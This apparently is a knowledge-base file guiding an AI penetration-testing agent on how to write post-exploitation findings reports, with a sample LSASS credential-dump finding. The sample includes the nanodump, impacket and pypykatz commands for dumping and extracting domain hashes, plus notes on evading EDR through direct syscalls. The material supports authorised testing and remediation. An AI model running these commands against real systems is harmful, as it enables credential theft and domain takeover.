post-exploit-reporting

Post-Exploitation Reporting Knowledge Base

Post-exploitation findings require richer documentation than reconnaissance findings because they demonstrate real-world impact, test Blue Team detection capabilities, and map the full kill chain traversal. This skill provides phase-specific templates and detection gap analysis guidance aligned with PTES, CREST, and TIBER-EU standards.

All agent-authored documents MUST be Markdown format (.md). Operational data files (creds/*.json, network_map.json) are exceptions.

1. Phase-Specific Finding Templates

Each post-exploitation phase has a specialized template. All templates share the same YAML frontmatter schema but differ in body sections to capture phase-relevant details.

A. Credential Access Finding (TA0006)

---
id: FIND-007
severity: high
cvss_score: 8.4
cvss_vector: "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N"
cwe: CWE-522
mitre: [T1003.001]
affected_target: "WEB01 (10.0.0.5)"
affected_component: "LSASS process memory"
confidence: verified
objective_id: OBJ-004
phase: post-exploit
agent: postexploit
detected: false
remediation_priority: immediate
discovered_at: "2026-04-06T16:45:00Z"
---

# [HIGH] LSASS Memory Dump on WEB01 exposes Domain Credentials

## Description

LSASS process memory was dumped on WEB01 (10.0.0.5) using nanodump, yielding NTLM hashes for 3 domain accounts including a service account with Domain Admin group membership.

## Steps to Reproduce

1. From SYSTEM shell on WEB01:
   ```
   nanodump --write C:\Windows\Temp\debug.dmp --valid
   ```
2. Transfer dump to attack host:
   ```
   impacket-smbclient //10.0.0.5/C$ -k -no-pass
   get Windows/Temp/debug.dmp
   ```
3. Extract credentials with pypykatz:
   ```
   pypykatz lsa minidump debug.dmp
   ```

## Credentials Obtained

| Username | Type | Hash/Value | Source Host | Domain | Privilege |
|----------|------|-----------|-------------|--------|-----------|
| svc_sql | NTLM | aad3b435...7cb | WEB01 | corp.local | Domain Admin |
| jdoe | NTLM | e19ccf75...2a1 | WEB01 | corp.local | Domain User |
| web_app | NTLM | 31d6cfe0...e0d | WEB01 | corp.local | Domain User |

## Impact

The `svc_sql` account is a member of the Domain Admins group. With this NTLM hash, an attacker can perform Pass-the-Hash to gain full control over the Active Directory domain, including all domain-joined systems and data.

## Evidence

| Type | Path | Description |
|------|------|-------------|
| terminal-log | findings/evidence/FIND-007_nanodump.txt | nanodump execution output |
| terminal-log | findings/evidence/FIND-007_pypykatz.txt | pypykatz credential extraction |

## Detection Gap Analysis

| Control | Fired? | Notes |
|---------|--------|-------|
| EDR (CrowdStrike) | No | nanodump evaded userland hooks via direct syscalls |
| SIEM | No | No alert for LSASS access or suspicious process creation |
| Windows Event Log | Partial | Event 4663 logged but not forwarded to SIEM |
| Network monitoring | No | SMB transfer blended with normal traffic |

Blue team detection status: **Not detected**. LSASS access via direct syscalls bypassed EDR userland hooks entirely.

## Remediation

1. Enable Credential Guard to protect LSASS from memory dumps.
2. Configure EDR to monitor kernel-level LSASS access (PPL enforcement).
3. Forward Windows Security Event 4663 (object access) to SIEM with alerting.
4. Review service accounts: `svc_sql` should NOT be Domain Admin — apply least privilege.

## References

- MITRE ATT&CK T1003.001: https://attack.mitre.org/techniques/T1003/001/
- Microsoft Credential Guard: https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/
- CWE-522: https://cwe.mitre.org/data/definitions/522.html